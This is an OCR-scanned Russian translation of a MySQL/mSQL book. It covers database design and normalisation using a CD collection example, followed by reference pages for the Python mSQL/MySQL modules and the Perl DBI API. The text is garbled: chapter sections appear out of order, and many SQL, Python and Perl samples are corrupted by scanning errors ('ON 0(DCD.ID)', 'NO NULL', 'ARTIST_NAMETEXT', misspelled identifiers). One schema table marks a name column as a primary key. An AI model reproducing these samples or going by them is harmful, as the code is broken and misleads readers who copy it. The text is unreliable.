    ID очень важен, поскольку позволяет узнать, с каким из экземпляров сущности мы имеем дело. Выбор идентификатора также существенен, потому что он используется для моделирования связей. Если после выбора ID для сущности вы обнаружили, что он не удовлетворяет одному из перечисленных правил, это может повлиять на всю вашу модель данных.

    Новички в моделировании данных часто делают ошибку, выбирая в качестве ID неподходящие атрибуты. Если, к примеру, у вас есть сущность Person (человек, лицо), может возникнуть соблазн выбрать в качестве идентификатора Name (фамилию), поскольку она есть у каждого лица и не меняется. Но что если лицо вступает в брак или законным образом хочет изменить фамилию? Или вы допустили ошибку при первоначальном вводе фамилии? При каждом из этих событий нарушается третье правило для идентификаторов. Еще хуже то, что фамилия окажется не уникальной. Если вы не можете стопроцентно гарантировать, что атрибут Name уникален, вы нарушаете первое правило для идентификаторов. Наконец, вы считаете, что у каждого экземпляра Person фамилия отлична от NULL. Но вы уверены, что всякий раз, вводя первоначальные данные в базу, будете знать фамилию? Ваш процесс может быть организован так, что при начальном создании записи фамилия может быть неизвестна. Из этого следует извлечь тот урок, что при выборе неидентифицирующего атрибута в качестве идентификатора возникает много проблем.


    Выход в том, чтобы изобрести идентифицирующий атрибут, не имеющий никакого иного смысла, кроме как служить идентифицирующим атрибутом. Поскольку этот атрибут искусственный и никак не связан с сущностью, мы имеем над ним полный контроль и можем обеспечить его соответствие правилам для уникальных идентификаторов. На рис. 2-4 к каждой из наших сущностей добавлен искусственный ID. На диаграмме уникальный идентификатор изображается как подчеркнутый атрибут.

    Нормализация

    Рис. 2-4. Сущности CD и Song со своими уникальными идентификаторами

    Связи

    Идентификаторы наших сущностей позволяют моделировать их связи. Связь описывает бинарное отношение между двумя сущностями. Связь может существовать также внутри одной сущности. Такая связь называется рекурсивной. Каждая сущность, участвующая в связи, описывает-другую и описывается ею. Каждая сторона связи имеет две составляющих - имя и степень.

    У каждой стороны связи есть имя, описывающее связь. Возьмем две гипотетические сущности — Служащий и Отдел. Один вариант связи между ними состоит в том, что Служащий "приписан" к Отделу. Этот Отдел "отвечает" за Служащего. Таким образом, связь со стороны Служащий называется "приписан", а со стороны Отдел - "отвечает".

    Степень, называемая также кардинальным числом, показывает, сколько экземпляров описывающей сущности должны описывать один экземпляр описываемой сущности. Степень выражается с помощью двух разных значений- "один-к-одному" (1) и "один-ко-многим" (М). Служащий приписан одновременно только к одному отделу, поэтому у сущности Служащий связь с сущностью Отдел "один-к-одному". В обратном направлении, отдел отвечает за многих служащих. Поэтому мы говорим, что у сущности Отдел связь с сущностью Служащий "один-ко-многим". В результате в Отделе может быть и только один Служащий.

    Иногда полезно выразить связь словами. Один из способов - вставить разные составляющие направления связи в следующую формулу:


    сущность1имеет [одну и только одну одну или много] сущностъ2

    Согласно этой формуле связь между Служащим и Отделом можно выразить так:

    Каждый Служащий должен быть приписан к одному и только одному

    Отделу.

    Каждый Отдел может отвечать одному или многим Служащим.

    Нормализация

    Рис. 2-5. Анатомия связи

    Нормализация

    Рис. 2-6. Связь CD-'Song

    Можно использовать эту формулу для описания сущностей в нашей модели данных. В каждом CD содержится много или одна Song, и каждая Song содержится хотя бы в одном CD. В нашей модели данных эту связь можно показать, проведя линию между двумя сущностями. Степень обозначается прямой линией для связи "один и только один" и "птичьей лапой" для связи "один-ко-многим>>. На рис. 2-5 показаны эти обозначения.

    Как это применимо к связи между Song и CD? На практике Song может содержаться на многих CD, но для нашего примера мы этим пренебрежем. На рис. 2-6 показана модель данных с обозначенными связями.

    Прочно установив связи, мы можем вернуться к процессу нормализации и опять улучшить нашу схему. Пока мы лишь нормализовали повторяющиеся песни, преобразовав их в отдельную сущность, и смоделировали связь между ней и сущностью СD.

    Вторая нормальная форма (2NF)

    Говорят, что сущность находится во второй нормальной форме, если она уже находится в первой НФ, и каждый неидентифицирующий атрибут зависит от всего уникального идентификатора сущности. Если некий атрибут не зависит полностью от уникального идентификатора сущности, значит, он внесен ошибочно и должен быть удален. Нормализуйте такой атрибут либо найдя сущность, к которой он относится, либо создав новую сущность, в которую он должен быть помещен.

    Нормализация

    Рис. 2-7. Модель данных с новой сущностью Artist

    В нашем примере "Herbie Hancock" является Band Name (названием ансамбля) для двух разных CD. Это показывает, что Band Name не полностью зависит от идентификатора CD ID. Это дублирование представляет собой проблему, поскольку если мы допустили ошибку при вводе "Herbie Hancock", придется исправлять значение в нескольких местах. Это указывает нам, что Band Name должно быть частью новой сущности, связанной с CD. Как и раньше, мы решаем эту задачу, задав вопрос: "Что описывает название ансамбля?" Оно описывает ансамбль, или, вообще говоря, исполнителя. Исполнитель - еще один объект, о котором мы собираем данные, и потому, возможно, является сущностью. Мы добавим его к нашей схеме с атрибутом Band Name. Поскольку исполнитель может не быть ансамблем, мы переименуем атрибут как Artist Name. На рис. 2-7 показано новое состояние модели.


    Правда, не показаны связи для новой таблицы исполнителей. Ясно, что у каждого Artist может быть один или много CD. У каждого CD может быть один или несколько Artist. Это показано на рис. 2-8.

    Нормализация

    Рис. 2-8. Связи сущности Artist в модели данных

    Вначале мы присвоили атрибут Band Name сущности CD. Поэтому было естественным установить прямую связь между Artist и CD. Но верно ли это? При ближайшем рассмотрении оказывается, что следует установить прямую связь между Artist и Song. У каждого Artist есть одна или много Song. Каждая Song исполняется одним и только одним Artist. Правильные связи показаны на рис. 2-9.

    Это не только более разумно, чем связь между Artist и CD, но и решает проблему дисков-сборников.

    Нормализация

    Рис. 2-9. Подлинная связь между Artist и остальной частью модели данных

    Виды связей

    При моделировании связей между сущностями важно определить оба направления связи. После определения обеих сторон связи мы приходим к трем основным видам связей. Если оба конца связи имеют степень "один и только один", то связь называется "один-к-одному". Как мы позднее убедимся, связи "один-к-одному" встречаются редко. В нашей модели данных их нет.

    Если одна сторона имеет степень "один или много", а другая сторона имеет степень "один и только один", то это связь "один-ко-многим" или "1-к-М". Все связи в нашей модели - это связи "один-ко-многим". Этого можно было ожидать, поскольку связи "один-ко-многим" наиболее распространены.

    И наконец, последний тип связей - когда обе стороны имеют степень "один-ко-многим". Такого типа связи называются "многие-ко-мно-гим", или "М-к-М". В предыдущей версии нашей модели данных связь Artist-CD имела тип "многие-ко-многим".

    Уточнение.связей

    Как отмечалось ранее, связи "один-к-одному" очень редки. На практике, если в процессе моделирования вы столкнетесь с такой связью, следует внимательнее изучить свой проект. Такая связь может означать, что две сущности являются на самом деле одной, и если это так, их следует объединить в одну.


    Связи "многие-ко-многим" встречаются чаще, чем "один-к-одному". В этих связях часто есть некоторые данные, которыми мы хотим охарактеризовать связь. Взглянем, например, на предыдущую версию нашей модели данных на рис. 2-8, в которой была связь "многие-ко-многим" между Artist и CD. Artist имеет связь с CD, поскольку у исполнителя есть одна или несколько Song на этом CD. Модель данных на рис. 2-9 фактически является другим представлением этой связи "многие-ко-многим".

    Все связи "многие-ко-многим" нужно разрешать с помощью следующей технологии:

  • Создайте новую сущность, иногда называемую сущностью-связкой. Назовите ее подходящим образом. Если вы не можете придумать подходящее название, образуйте его из сочетания имен связываемых сущностей, например ArtistCD. В нашей модели Song является сущностью-связкой для связи Artist-CD.

  • Свяжите новую сущность с двумя исходными. Каждая из исходных сущностей должна иметь связь "один-ко-многим" с сущностью-связкой.

  • Если в новой сущности нет очевидного уникального идентификатора, введите в нее идентифицирующие атрибуты исходных сущностей и сделайте эту пару уникальным идентификатором новой сущности.

    Почти всегда обнаружатся дополнительные атрибуты, принадлежащие новой сущности. Если это не так, то все равно необходимо разрешить связь "многие-ко-многим", иначе возникнут проблемы при переводе вашей модели данных в физическую схему.

    Нормализация

    Рис. 2-10. Наша модель данных во второй нормальной форме

    Еще о 2NF

    Наша модель все еще не приобрела вторую нормальную форму. Значение атрибута Record Label (фирма звукозаписи) имеет только одно значение для каждого CD, но одно и то же значение его присутствует в нескольких СD. Ситуация сходна с той, которая была с атрибутом Band Name. И точно так же дублирование указывает на то, что Record Label должна быть частью отдельной сущности. Каждая Record Label выпускает один или много CD. Каждый CD выпускается одной и только одной Record Label. Модель этой связи представлена на рис. 2-10.


    Третья нормальная форма (3NF)

    Сущность находится в третьей нормальной форме, если она уже находится во второй нормальной форме и ни один неидентифицирующий атрибут не зависит от каких-либо других неидентифицирующих атрибутов. Атрибуты, зависящие от других неидентифицирующих атрибутов, нормализуются путем перемещения зависимого атрибута и атрибута, от которого он зависит, в новую сущность.

    Если бы мы пожелали отслеживать адрес Record Label, то столкнулись бы с проблемами для третьей нормальной формы. В сущности Record Label должны быть атрибуты State Name (название штата) и State Abbreviation (сокращенное название штата). Хотя для учета CD эти данные и не нужны, мы добавим их к нашей модели для иллюстрации проблемы. На рис. 2-11 показаны адресные данные в сущности Record Label.

    Нормализация

    Рис. 2-11. Адресная информация о фирме звукозаписи в нашей базе данных

    Значения State Name и State Abbreviation удовлетворяют первой нормальной форме, поскольку имеют только одно значение в каждой записи сущности Record Label. Проблема в том, что State Name и State Abbreviation взаимозависимы. Иными словами, поменяв State Abbreviation для какой-либо Record Label, мы вынуждены будем также изменить State Name. Мы произведем нормализацию, создав сущность State с атрибутами State Name и State Abbreviation. На рис. 2-12 показано, как связать эту новую сущность с сущностью Record Label.

    Теперь, получив третью нормальную форму, мы можем сказать, что наша модель данных нормализована. Существуют и другие нормальные формы, имеющие значение с точки зрения проектирования баз данных, но их рассмотрение находится за пределами нашей книги. В большинстве случаев третьей нормальной формы достаточно, чтобы гарантировать правильность проекта базы данных.

    Нормализация

    Рис. 2-12. Модель данных в третьей нормальной форме



    Проектирование баз данных

    Предположим, у вас есть большая коллекция компакт-дисков, и вы хотите создать базу данных, чтобы отслеживать ее. Прежде всего, нужно определить, какие данные вы собираетесь хранить. Неплохо начать с того, чтобы подумать, а зачем, собственно, вам хранить эти данные. В нашем случае мы, скорее всего, хотим иметь возможность найти диск по исполнителю, названию и песне. Раз мы хотим искать эти пункты, они должны быть включены в базу данных. Помимо того, часто полезно просто перечислить пункты, которые нужно отслеживать. Возможен такой список: название CD, фирма звукозаписи, название ансамбля, название песни. В качестве отправной точки выберем для хранения данных таблицу, представленную как таблица 2-1.

    Таблица 2-1. База данных CD, состоящая из одной таблицы




    Band Name


    CD Title


    Record Label


    Songs

    Stevie Wonder Talking Book Motown You Are the Sunshine of My Life, Maybe Your Baby, Superstition, . . .

    Miles Davis Quintet


    Miles Smiles


    Columbia


    Orbits, Circle, . . .


    Wayne Shorter


    Speak No Evil


    Blue Note


    Witch Hunt, Fee-Fi-Fo-Fum


    Herbie Hancock


    Headhunters


    Columbia


    Chameleon, Watermelon Man, . . .


    Herbie Hancock


    Maiden Voyage


    Blue Note


    Maiden Voyage


    (Для краткости мы опустили большую часть -песен.) На первый взгляд, эта таблица нам подходит, поскольку в ней есть все необходимые данные. При более близком рассмотрении, однако, мы сталкиваемся с некоторыми проблемами. Возьмем, к примеру, Herbie Hancock. Название ансамбля повторяется дважды - для каждого CD. Это повторение неприятно по нескольким причинам. Во-первых, при вводе данных нам приходится вводить одно и то же несколько раз. Во-вторых, что более важно, при изменении каких-либо данных приходится изменять их в нескольких местах. Что если, к примеру, в Herbie вкралась орфографическая ошибка? Пришлось бы исправлять данные в двух строках. Та же проблема возникнет, если имя Herbie Hancock в будущем изменится (а ля Jefferson Airplane или John Cougar). С добавлением к нашей коллекции новых дисков Herbie Hancock увеличивается объем работы, необходимой для поддержания непротиворечивости данных.


    Другая проблема, вызванная наличием в базе данных всего одной таблицы, связана с тем, как хранятся названия песен. Мы храним их, как список песен, в одной колонке. Мы столкнемся с кучей проблем, если попытаемся разумно использовать эти данные. Представьте себе, как мы будем вводить и поддерживать этот список песен. А что если мы захотим хранить еще и длительность песен? Или пожелаем осуществлять поиск по названию песни? Довольно быстро становится ясно, что хранить песни в таком виде нежелательно.

    Вот тут начинает играть свою роль проектирование баз данных. Одна из важнейших задач проектирования баз данных - устранение из нее избыточности. Для этого используется прием, называемый нормализацией. Прежде чем приступить к нормализации, обсудим некоторые фундаментальные понятия реляционных баз данных. Модель данных -это диаграмма, показывающая конструкцию вашей базы данных. Она состоит из трех основных элементов - сущностей, атрибутов и связей. Пока остановимся на сущностях и атрибутах, а о связях поговорим позднее.

    Сущности в базе данных

    Сущность - это важная вещь или объект, сведения о котором нужно сохранить. Не все вещи являются сущностями, а только те, данные о которых должны быть сохранены. Сведения о сущностях имеют вид атрибутов и/или связей. Если некий кандидат на то, чтобы быть сущностью, не имеет атрибутов или связей, в действительности он не является сущностью. В модели базы данных сущности представляются в виде прямоугольника с заголовком. Заголовок является именем сущности.

    Атрибуты сущности

    Атрибут описывает данные о сущности, которые нужно сохранить. У каждой сущности ноль или более атрибутов, описывающих ее, и каждый атрибут описывает в точности одну сущность. Каждый экземпляр сущности (строка таблицы) имеет в точности одно значение, возможно, равное NULL, для каждого из своих атрибутов. Значение атрибута может быть числом, строкой символов, датой, временем или другим базовым значением данных. На первом этапе проектирования базы данных, логическом моделировании, нас не заботит то, каким образом будут храниться данные.


    Проектирование баз данныхNULL лежит в основе проблемы, связанной с отсутствующей информацией. Он специально используется тогда, когда какая-то часть данных отсутствует. Рассмотрим, к примеру, ситуацию, когда на CD нет данных о длительности каждой песни. У каждой песни есть длительность, но, глядя на коробку, вы не можете сказать, какова она. Хранить длительность как О нежелательно, поскольку это было бы неверно. Вместо этого вы записываете длительность как NULL. Если вы считаете, что можно сохранить ее как 0 и использовать 0 для обозначения "неизвестной длины", то можете попасть в одну из тех западней, которые привели к проблеме 2000-го года. В старых системах не только год хранится как две цифры, но и придается особое значение величине 9-9-99.

    В нашем примере база данных ссылается на ряд объектов - CD, название CD, название ансамбля, песни и название фирмы звукозаписи. Какие из них являются сущностями, а какие - атрибутами?

    Модель данных

    Обратите внимание, что мы определяем несколько видов данных (название CD, название ансамбля и т. д.), относящихся к каждому CD, и без которых описать CD совершенно невозможно. Поэтому CD является одним из тех объектов, которые мы хотим описать, и, похоже, является сущностью. Начнем разработку модели данных с изображения CD как сущности. На рис. 2-1 показана наша единственная сущность в модели данных.

    Проектирование баз данных

    Рис. 2-1. Сущность "CD" в модели данных

    По общепринятому соглашению об именовании сущностей имя сущности должно быть в единственном числе. Поэтому мы называем таблицу, в которой хранятся CD "CD", а не "CDs". Мы используем это соглашение, поскольку каждая сущность дает имя экземпляру. Например, "San Francisco 49ers" является экземпляром сущности "Футбольная команда", а не "Футбольные команды".

    На первый взгляд кажется, что оставшаяся часть базы данных описывает CD. Это указывает на то, что она содержит атрибуты CD. На рис. 2-2 они добавлены к сущности CD рис. 2-1. В модели данных атрибуты представлены как имена, перечисленные в прямоугольнике сущности.

    Эта диаграмма проста, но мы еще не закончили. В действительности, мы только начали. Ранее мы говорили, что целью моделирования данных является устранение избыточности с помощью приема, называемого нормализацией. У нашей базы данных прекрасная диаграмма, но мы не покончили с избыточностью, как намеревались. Пора нормализовать нашу базу данных.

    Проектирование баз данных

    Рис. 2-2. Сущность "CD" с атрибутами



    Проектирование физической базы данных

    С какой целью мы создавали логическую модель данных? Вам нужно создать базу данных, чтобы хранить информацию о CD. Модель данных - это только промежуточный шаг. В конечном итоге вы хотели бы получить базу данных MySQL или mSQL, в которой можно хранить данные. Как это сделать? При проектировании физической базы данных логическая модель переводится в набор операторов SQL, которые определяют вашу базу данных MySQL или mSQL.

    Поскольку MySQL и mSQL являются реляционными базами данных, относительно несложно перевести логическую модель, подобную описанной, в физическую базу данных MySQL или mSQL. Вот правила перевода:

  • Объекты становятся таблицами в физической базе данных.

  • Атрибуты становятся колонками в физической базе данных. Для каждой колонки нужно выбрать подходящий тип данных.

  • Уникальные идентификаторы становятся колонками, не допускающими значение NULL. В физической базе данных они называются первичными ключами (primary keys). Вы можете также пожелать создать уникальный индекс по идентификатору, чтобы обеспечивать уникальность. Учтите, что в mSQL нет понятия первичного ключа, есть просто уникальные индексы. К MySQL это не относится.

  • Отношения моделируются в виде внешних ключей (foreign keys). Мы коснемся их позднее.

    Применив эти правила к нашей модели (исключая адресную информацию по фирмам звукозаписи), получим физическую базу данных, представленную в таблице 2-2.

    Таблица 2-2. Определения физических таблиц для базы, данных CD



    Таблица


    Колонка


    Тип данных


    Примечания


    CD


    CDId


    INT


    primary key





    CDTitle


    TEXT(50)





    Artist


    Artistld


    INT


    primary key





    ArtistName


    TEXT(50)





    Song


    Songld


    INT


    primary key





    SongName


    TEXT(50)





    RecordLabel


    RecordLabelld


    INT


    primary key





    RecordLabelName


    TEXT(50)


    primary key


    Первое, на что вы можете обратить внимание: в нашей физической схеме из всех названий объектов удалены пробелы. Это вызвано тем, что названия нужно преобразовать в вызовы SQL, создающие таблицы, поэтому названия таблиц должны удовлетворять правилам SQL для образования имен. Кроме того, все первичные ключи мы сделали типа INT. Поскольку эти атрибуты искусственные, мы можем приписать им любой индексируемый тип. То, что они имеют тип INT, почти полностью результат нашего произвола. Почти, поскольку на практике поиск по числовым полям в большинстве баз данных осуществляется быстрее, и поэтому выгодно назначать первичными ключами числовые поля. Однако мы могли бы выбрать для ключевых полей тип CHAR, и все работало бы прекрасно. Выбор должен основываться на ваших критериях выбора идентификаторов.


    Для остальных колонок установлен тип TEXT с длиной 50. Такое определение годится и для MySQL, и для mSQL. Для MySQL, впрочем, лучше было бы выбрать VARCHAR, но это несущественно для нашего примера. Выбор правильного типа данных для колонок очень важен, но мы не будем сейчас на этом останавливаться, поскольку не касались еще типов данных, поддерживаемых MySQL и mSQL.

    Теперь у нас есть отправная точка для физической схемы. Мы еще не перевели отношения в физическую модель данных. Как указывалось ранее, после уточнения логической модели у вас должны остаться отношения типа "один-к-одному" и "один-ко-многим" - отношения "М-к-М" разрешаются через таблицы-связки. Отношения моделируются путем добавления внешних ключей к одной из участвующих в них таблиц. Внешний ключ - это уникальный идентификатор или первичный ключ таблицы на другом конце отношения.

    Позднее мы коснемся типов данных, поддерживаемых MySQL и mSQL. В каждой из них свои правила относительно того, какие типы данных можно индексировать. Ни в одной из них, например, нельзя индексировать поля типа TEXT. Поэтому недопустимо иметь колонку первичного ключа типа TEXT.

    Чаще всего отношение имеет тип "1-к-М". Ему соответствует первичный ключ со стороны "1", помещенный в таблицу на стороне "многие". В нашем примере это означает, что нужно сделать следующее:

  • Поместить колонку RecordLabelId в таблицу CD.

  • Поместить колонку CDId в таблицу Song.

  • Поместить колонку Artistic! в таблицу Song. Полученная схема показана в таблице 2-3.

    Таблица 2-3. Физическая модель данных для базы данных CD



    Таблица



    Колонка



    Тип данных



    Примечания



    CD



    Cdld



    INT



    primary key







    CDTitle



    TEXT(50)











    RecordLabelld



    INT



    foreign key



    Artist



    Artistld



    INT



    primary key







    ArtistName



    TEXT(50)







    Song



    Songld



    INT



    primary key







    SongName



    TEXT(50)











    Cdld



    INT



    foreign key







    Artistld



    INT



    foreign key



    RecordLabel



    RecordLabelld



    INT



    primary key







    RecordLabelName



    TEXT(50)





    <


    В нашей модели нет связей типа "один-к-одному". Если бы они были, то нужно было бы взять одну из таблиц и ввести в нее колонку внешнего ключа, соответствующую первичному ключу другой таблицы. Теоретически не важно, которую из таблиц вы выберете, но практические соображения могут определять, какую из колонок лучше сделать внешним ключом.

    Теперь у нас есть полная физическая схема базы данных. Осталось перевести эту схему на SQL. Для каждой таблицы в схеме вы пишете одну команду CREATE TABLE. Обычно для поддержки уникальности создается уникальный индекс по первичным ключам.

    В некотором смысле мы сейчас забегаем вперед. Вы, возможно, не знакомы с SQL, а в задачи данной главы не входит знакомство с версиями SQL, поддерживаемыми MySQL и mSQL. Все же, вот два простых сценария для создания базы данных CD. Первый сценарий, пример 2-1, составлен для MySQL, пример 2-2 — для mSQL.

    Пример 2-1. Сценарий создания базы данных CD в MySQL

    CREATE TABLE CD (CDID INT NOT NULL,

    RECORD_LABEL_I INT, CD_TITLE TEXT, PRIMARY KEY (CD_ID))

    CREATE TABLE Artist (ARTIST_ID INT NOT NULL, ARTIST_NAMETEXT,

    PRIMARY KEY (ARTIST_ID)) CREATE TABLE Song (SONG_ID INT NOT NULL, CD_ID INT, SONG_NAME TEXT, PRIMARY KEY (SONG_ID))

    CREATE TABLE RecorLabel(RECORD LABEL_ID INT NOT NULL, RECORD_LABEL_NAME TEXT, PRIMARY KEY(RECORD_LABEL_ID))

    Пример 2-2. Сценарий создания базы данных CD в mSQL

    CREATE TABLE CD (CD_ID INT NOT NULL,

    RECORD_LABEL_IDINT, CD_TITLE TEXT(50))

    CREATE UNIQUE INDEX CD_IDX ON 0(DCD.ID)

    CREATE TABLE ArtistARTIST_ID INT NO NULL,

    ARTIST_NAMETEXT(50))

    CREATE UNIQUE INDEX Artist_IDX ON Artist (ARTIST_ID)

    CREATE TABLE Song (SONG_ID INT NOT NULL, CD_ID INT,

    SONG_NAME TEXT(50))

    CREATE UNIQUE INDEX Song_IDX ON Song (SONG_ID)

    CREATE TABLE RecordLabel (RECORD_LABEL_IDINT NOT NULL,

    RECORD_LABEL_NAMEEXT(50))

    CREATE UNIQUE INDEX RecordLabel_IDX

    ON RecordLabel(RECORD_LABEL_ID)

    Модели данных разрабатываются так, чтобы не зависеть от базы данных. Поэтому вы можете взять технику и модель данных, созданную в этой главе, и применить ее не только к MySQL и mSQL, но и к Oracle, Sybase, Ingres и любой другой РСУБД. В следующих главах мы подробно обсудим, как соединить ваши новые знания о проектировании баз данных с MySQL и mSQL.

    В действительности есть несколько модулей

    Справочник по Python

    В действительности есть несколько модулей Python, предоставляющих доступ к базам данных MySQL и mSQL. В большинстве аспектов они очень схожи между собой. В этой главе приводятся спецификации API для двух наиболее часто используемых модулей. Однако важно указать на приближающуюся унификацию разных API для баз данных в едином API, специфицированном Python Database SIG. В настоящее время mSQL не поддерживает этот API.



    Модуль: mSQL

    Модуль mSQL очень похож на модуль MySQL. Точкой входа в модуль является метод mSQL.connect(). Возвращаемое им значение представляет подключение к базе данных mSQL, которое вы можете использовать для всех операций с mSQL.

    Метод: mSQL.connect()

    Запись

    connection - mSQL.connect()
    connection - mSQL.connect(host)

    Краткий обзор

    Подключается к базе данных mSQL на указанном сервере. Если вы не укажете аргументов, будет выполнено подключение к базе данных на локальном компьютере. Метод возвращает описатель подключения к mSQL, который вы можете использовать для доступа к базе данных.

    Пример

    connection = mSQL.connect('carthage.imaginary, com')

    Метод: cormection.selectdb()

    Запись

    connection, selectdb(database)

    Краткий обзор

    Выбирает имя базы данных для вашего подключения. Все дальнейшие операции с подключением будут относиться к выбранной базе данных до тех пор, пока вы не укажете новую базу данных.

    Пример

    connection.selectdb('test');

    Метод: connection.query()

    Запись

    results = connection. query(sq1)

    Краткий обзор

    Посылает на выполнение в текущую выбранную базу данных указанную команду SQL. Результат возвращается как список кортежей, где каждый кортеж представляет одну запись. Этот метод также используется для изменения данных, в этом случае вы просто не обрабатываете возвращаемое значение.

    Пример

    results = conn.query('SELECT title, year FROM movies');
    rowl = results[0];

    Метод: connection.listdbs()

    Запись

    dbs - connection. listdbs()

    Краткий обзор

    Предоставляет список доступных баз данных на сервере.

    Пример

    dbs = conn.listdbs()

    Метод: connection.listtables()
    Запись

    connection.listtables()

    Краткий обзор

    Предоставляет список таблиц, хранящихся в базе данных.

    Пример

    tables = conn.listtables()

    Атрибут: connection.serverinfo

    Краткий обзор

    Возвращает версию сервера mSQL, с которым установлено соединение.

    Пример

    info = connection.serverinfo;

    Атрибут: connection.hostname
    Краткий обзор

    Возвращает имя сервера, на котором запущен сервер mSQL.

    Пример

    host = connection.hostname

    Модуль: MySQL

    Точкой входа в модуль Python для MySQL является метод MySQL.connect(). Значение, возвращаемое этим методом, представляет подключение к серверу MySQL, которое вы можете использовать для всех операций с MySQL.

    Метод: MySQL.connect()
    Запись

    connection = MySQL.connect(host)

    Краткий обзор

    Подключается к базе данных MySQL на указанном сервере. Если вызвать connect() без аргументов, будет выполнено подключение к базе данных MySQL на локальном компьютере. Метод возвращает объект Python, представляющий подключение к базе данных MySQL.

    Пример

    conn = MySQL.connect('carthage.irnaginary.com');

    Метод: connection.selectdb()
    Запись

    connection, selectdb(database)

    Краткий обзор

    Выбирает базу данных, с которой вы собираетесь работать.

    Пример

    connection. selectdb('test');

    Метод:
    connection.do()
    Запись

    results = connection.do(sql)

    Краткий обзор

    Посылает на выполнение указанную команду SQL в текущую выбранную базу данных. Результаты возвращаются как список списков, где каждый список представляет одну запись. Метод также используется для изменения данных, в этом случае вы просто не обрабатываете возвращаемое значение.

    Пример

    results = conn.do('SELECT title, year FROM movies');
    row1 = results[0];

    Метод: connection.query()
    Запись

    statement_handle = connection. query(sgl)
    Краткий обзор

    Как и метод do(), этот метод посылает указанную SQL-команду текущей выбранной базе данных. Отличие этого метода от do() заключается в том, что он возвращает объект - описатель команды, который инкапсулирует информацию о результате запроса SQL, также как и сами результаты.

    Пример

    hndl = conn. query(' SELECT title, year FROM movies');
    Метод: statement_handle.affectedrows()
    Запись

    rowcount = statement_handle.affectedrows()
    Краткий обзор

    Считая, что этот описатель команды представляет результаты выполнения команд SQL UPDATE, DELETE или INSERT, данный метод возвращает число записей, реально измененных этим запросом.

    Пример

    rowcount = hnd1.affectedrows()


    Метод: statement_handle.numrows()

    Запись

    rowcount = statement_handle.numrows()

    Краткий обзор

    Считая, что этот описатель команды представляет результаты выполнения команды SELECT, данный метод выдает число записей в результирующем наборе.

    Пример

    rowcount = hndl. numrows()

    Метод: statement_handle.fields()

    Запись

    list = statement_handle.fields()

    Краткий обзор

    Предоставляет метаинформацию о столбцах в результате, возвращаемом запросом. Полученный список является списком списков. Каждый элемент возвращаемого списка - это список с метаинформацией об отдельном столбце. Другими словами, в возвращаемом списке будет один элемент для каждого столбца в результирующем наборе. Первый элемент списка представляет первый столбец, второй элемент - второй столбец и т. д.

    Метаданные для каждого столбца являются списком из пяти элементов:

  • Строка, содержащая имя столбца.

  • Строка, содержащая имя таблицы, откуда взят столбец.

  • Строка с названием типа данных SQL для этого столбца.

  • Целое int, содержащее размер столбца.

  • Строка, содержащая модификаторы столбца, такие как NOTNULL.

    Пример

    flds = hndl.fields();

    for column in fids: name = column[0];

    table = column[1]; type = column[2];

    size = columns[3]; mods = column[4];

    Метод: statement_handle.fetchrows()

    Запись

    list = statement_handle.fetchrows(rownum)

    Краткий обзор

    Выбирает значение записи с указанным номером из результирующего набора, представленного описателем команды. Если в качестве аргумента передать —1, этот метод вернет список со всеми записями. Каждая запись в этом списке представлена списком с количеством элементов, равным числу столбцов в результирующем наборе. Первый элемент списка представляет значение первого столбца, второй элемент представляет второй столбец и т. д.

    Пример

    rows = hndl.fetchrows(-l);

    for row in rows:

    coll = row[0]; со12 = row[1];

    Метод: connection.listdbs()

    Запись

    dbs = connection.listdbs()

    Краткий обзор

    Предоставляет список доступных баз данных на сервере.

    Пример

    dbs = conn.listdbs()

    Метод: connection.listtables()

    Запись

    tables = connection. listtables();

    Краткий обзор

    Предоставляет список таблиц, хранящихся в базе данных.

    Пример

    tables = conn. listtables();



    DBI.pmAPI

    DBI API является стандартным API баз данных в Perl. Поэтому, хотя MsqPerl и MysqlPerl могут быть более распространены в унаследованных программах, новые программы следует писать с использованием DBI.

    use

    use DBI;

    Следует объявлять во всех программах Perl, использующих модуль DBI.

    DBI::available_drivers

    @available_drivers = DBI->available_drivers;
    @available_drivers = DBI->available_drivers($quiet);

    DBI: :available_drivers возвращает список имеющихся драйверов DBD. Функция выполняет это, осуществляя поиск модулей DBD в дистрибуции Perl. Если в аргументе не передано значение true, то при обнаружении двух одноименных модулей DBD выводится предупреждение. В текущем дистрибутиве Msql-Mysql драйвер для mSQL называется 'mSQL', а драйвер для MySQL - 'mysqP.

    Пример

    use DBI;

    my @drivers = DBI->available_drivers;

    print "Доступны следующие драйверы:\n" . join("\n",@drivers) . "\n Ho нас интересуют только mSQL и mysql. :)\n";

    DBI::bind_col

    $result = $statement_handle->bind_col($col_num, \$col_variable, \%unused);

    DBI: :bind_col связывает колонку команды SELECT с переменной Perl. При всяком чтении или изменении колонки изменяется значение соответствующей переменной. Первым аргументом является номер колонки в команде, при этом колонки нумеруются с 1. Второй аргумент — ссылка на переменную Perl, которая должна быть привязана к колонке. Необязательный третий аргумент ссылается на хэш атрибутов. В DBD: :mysql и DBD: :mSQL он не используется. При невозможности в силу каких-то причин сделать привязку функция возвращает неопределенное значение undef.

    Пример

    use OBI;

    my $db = DBI->connect('DBI:mSQL:mydata', undef,undef);
    my $query = "SELECT name, date FROM myothertable";
    my $myothertable_output = $db->prepare($query);

    my ($name, $date);

    $myothertable_output->bind_col(1,\$name,undef);

    $myothertable_output"bind_col(2, \$date, undef);

    # Теперь $name и Sdate привязаны к соответствующим полям выходных данных.


    $myothertable_output->execute;

    while ($myothertable_output->fetch) {

    # Каждый раз $name и $date автоматически изменяются.

    print "Имя: $name Дата: $date\n"; }

    DBI::bmd_columns

    $result = $statement_handle->bincl_columns(\%unused, @list_of_refs_to_vars);

    DBI: : bind_columns привязывает весь список скалярных ссылок к значениям соответствующих полей в выдаче. Первый аргумент функции -ссылка на хэш атрибутов, как в DBI: :bind_col . DBD::mSQL и DBD::mysql не используют этот аргумент. Последующие аргументы должны быть ссылками на скаляры. Скаляры можно с таким же успехом группировать в структуру \($var1, $var2) . Ссылок на скаляры должно быть ровно столько, сколько полей в выходных результатах, иначе выполнение программы будет прекращено.

    Пример

    use DBI;

    my $db = DBI->connect('DBI:mSQL:mydata',undef,undef);

    my $query = "SELECT name, date FROM myothertable";

    my $myothertable_oulput = $db->prepare($query);

    my ($name, $date);

    $mynfhertable_outpul->bind_columns(undef, \($name, $daLe));

    # $name и $date теперь привязаны к соответствующим полям в выдаче,

    $myothertable_output->execute;

    while ($myothertable_output->fetch)

    {

    # $name и $date каждый раз автоматически изменяются.

    print "Имя: $name Дата: $date\n";

    }

    DBI::bind_param

    $result = $statement_handle->bind_param($param_number, $bind_value);

    $result = $statement_handle->bind_param($param_number, $bind_value, $bind_type);

